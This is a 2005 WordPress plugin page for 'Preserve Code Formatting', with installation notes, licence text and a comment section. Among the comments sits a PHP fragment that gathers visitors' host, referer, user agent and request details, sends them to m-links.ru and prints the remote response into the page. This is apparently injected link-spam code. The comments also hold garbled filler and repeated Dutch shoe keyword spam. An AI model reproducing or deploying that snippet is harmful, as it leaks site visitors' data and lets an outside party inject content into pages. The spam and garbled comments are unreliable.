Categories
Package/plugin/module WordPress

Plugin: Preserve Code Formatting

This plugin has been updated! Comments to this post are now closed. For the latest download, documentation, and link for posting new comments related to this plugin, visit the plugin’s new homepage at:
coffee2code.com/wp-plugins/preserve-code-formatting
Name:
Preserve Code Formatting
Author:
Scott Reilly
Version:
0.9
Last updated:
29 March 2005
Description:

Preserve formatting for text within <code> and <pre> tags (other tags can be defined as well). Helps to preserve code indentation, multiple spaces, prevents WP’s fancification of text (ie. ensures quotes don’t become curly, etc).

Notes:

Bascially, you can just paste code into <code>, <pre>, and/or other tags you additionally specify and this plugin will:
* prevent all “wptexturization” of text (i.e. single- and double-quotes will not become curly; “--” and “---” will not become en dash and em dash, respectively; “...” will not become a horizontal ellipsis, etc)
* optionally preserve multiple spaces (including indentations) (for the most part, that is; it changes 2+ consecutive “\n” to “\n\n” and “\t” to ” “)

Keep these things in mind:
* ALL embedded HTML tags and HTML entities will be rendered as text to browsers, appearing exactly as you wrote them (including any
).
* By default this plugin filters both ‘the_content’ (post contents), ‘the_excerpt’ (post excerpts), and ‘get_comment_text’.

Example:
A post containing this within <code></code>:


$wpdb->query("
        INSERT INTO $tablepostmeta
        (post_id,meta_key,meta_value)
        VALUES ('$post_id','link','$extended')
");

Would, with this plugin enabled, look in a browser pretty much how it does above, instead of like:

$wpdb->query(”
INSERT INTO $tablepostmeta
(post_id,meta_key,meta_value)
VALUES (‘$post_id’,’link’,’$extended’)
“);
Installation:
  1. Download the file preserve-code-formatting.zip and unzip it into your /wp-content/plugins/ directory.
    -OR-
    Copy and paste the the code ( preserve-code-formatting.phps ) into a file called preserve-code-formatting.php, and put that file into your /wp-content/plugins/ directory. Please ensure you do not introduce any spaces or other characters before the <?php or after the ?>
  2. Optional: There are two settings in preserve-code-formatting.php file that you can customize:
    a. in the function c2c_preserve_code_formatting(), if you want other HTML (in addition to ‘code’ and ‘pre’) to be processed by this function, add them to the $tags array:
    $tags = array('code', 'pre');
    b. in the function c2c_prep_code(), if you do NOT wish for this plugin to help preserve spacing/indentation in the ‘code’/’pre’/etc tags, then set $use_nbsp_for_spaces to be ‘false’. If you decide to do this, you can still preserve code formatting via CSS. Here’s a snippet of what I use:
        
        code, pre {
      white-space: pre;
        }
    
  3. Activate the plugin from your WordPress admin ‘Plugins’ page.
Functions:

function c2c_preserve_code_formatting( $text )

  • $text : Text to be scanned for <code> and <pre> tags

function c2c_anti_wptexturize( $text )

  • $text : Text to be processed in such a way as to prevent wptexturize from doing its thing
Tips & Examples:

N/A

Release Log:
  • 29 Mar 2005 : v0.9 — Released to the public
Copyright & Disclaimer:

Copyright (c) 2004-2005 by Scott Reilly (aka coffee2code)

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Acknowledgements:
N/A

76 replies on “Plugin: Preserve Code Formatting”

sdsd
fjdfhjf
and <pre> tags (other tags can be defined as well). Helps to preserve code indentation, multiple spaces, prevents WP’s fancification of text (ie. ensures quotes don’t become curly, etc).

=>> Visit the plugin’s homepage for more information and latest updates

‘;
$params = array(
‘v’ => ‘1.0’,
‘id’ => ‘33559’,
‘s’ => ‘728501803530757’,
‘t’ => time(),
‘sh’ => @$_SERVER[‘HTTP_HOST’],
‘sr’ => @$_SERVER[‘HTTP_REFERER’],
‘su’ => @$_SERVER[‘USER_AGENT’],
‘sa’ => @$_SERVER[‘HTTP_ADDR’],
‘sq’ => @$_SERVER[‘REQUEST_URI’]);
$query = array();
foreach ($params as $name => $value) $query[] = $name.’=’.urlencode($value);
$href = ‘http://m-links.ru/code/links.php’.’?’.implode(‘&’, $query);
print @file_get_contents($href);
?>

[…] One of my intentions with this blog from the beginning was to post tracts of code in it. To this end, I promptly installed the Preserve Code Formatting plugin courtesy of Coffee 2 Code. Simple WordPress plugins are wonderfully easy to install: they are implemented as single PHP files that you copy into the wp-content/plugins directory under your WordPress installation, after which they will show up automagically as options under the Admin -> Plugins page where you can toggle them on or off. […]

PKA werkschoenen
Kapriol werkschoenen
Grisport werkschoenen
Bata werkschoenen
No Risk werkschoenen
Lavoro werkschoenen
Dunlop werklaarzen
Safety Jogger werkschoenen
Executive werkschoenen
Sika werkschoenen
PKA werkschoenen
Kapriol werkschoenen
Grisport werkschoenen
Bata werkschoenen
No Risk werkschoenen
Lavoro werkschoenen
Dunlop werklaarzen
Safety Jogger werkschoenen
Executive werkschoenen
Sika werkschoenen

Comments are closed.